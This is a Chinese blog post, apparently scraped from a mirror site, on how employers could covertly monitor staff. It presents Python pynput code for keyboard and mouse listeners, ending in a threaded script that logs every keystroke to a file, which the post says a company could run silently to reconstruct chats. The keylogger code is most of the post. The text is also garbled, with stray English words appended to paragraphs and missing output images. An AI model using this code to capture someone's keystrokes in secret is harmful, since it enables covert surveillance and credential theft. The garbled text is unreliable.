【小硬核】你的聊天記錄是怎麼被公司監控的?| Python 主題月

本文正在參加「Python主題月」,詳情查看 活動連接python

前言

今天有位同事和我吐槽關於公司 XX 的問題,我告訴他不要在公司電腦上說這些,由於極可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟。markdown

關於 pynput

pynput 能夠監控咱們的鍵盤和鼠標。目前具備此類功能的庫有不少,好比 pygame 等遊戲庫,可是當咱們只須要監控鍵盤和鼠標時,它們就顯得過於笨重了,咱們能夠選擇輕量,快速的 pynputapp

實例

鍵盤監控

假設公司想要靜默爲咱們的電腦常駐一個後臺進程去實現監控咱們的鍵盤輸入並記錄下來,他們大概能夠這樣作:ide

from pynput import keyboard


def on_press(key):
    print(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False


with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
    lsn.join()
複製代碼

控制檯打印:post

鼠標監控

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
    listener.join()
複製代碼

控制檯打印:ui

你會發現,每條打印都被打印了兩次,這是由於按下去和擡起來都會觸發鼠標事件。lua

監控並記錄到日誌文件

from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定義日誌文件
logger.add('demo.log')
def on_press(key):
    logger.debug(f'{key} :pushed')

def on_release(key):
    #print(f'{key} released')
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# 定義f1用於線程1
def f1():
    with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
        lsn.join()



def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')

# 定義f2用於線程2
def f2():
    # Collect events until released
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監控鍵盤和鼠標
    t1 = Thread(target=f1)
    t2 = Thread(target=f2)
    t1.start()
    t2.start()
複製代碼

查看日誌內容:url

如上,咱們的鍵盤操做所有已經被記錄,經過對這個日誌文件進行簡單的 NLTK 語言處理,就能復原你的聊天記錄。spa

以上就是今天的所有內容了,感謝您的閱讀,咱們下節再會。線程

相關文章
相關標籤/搜索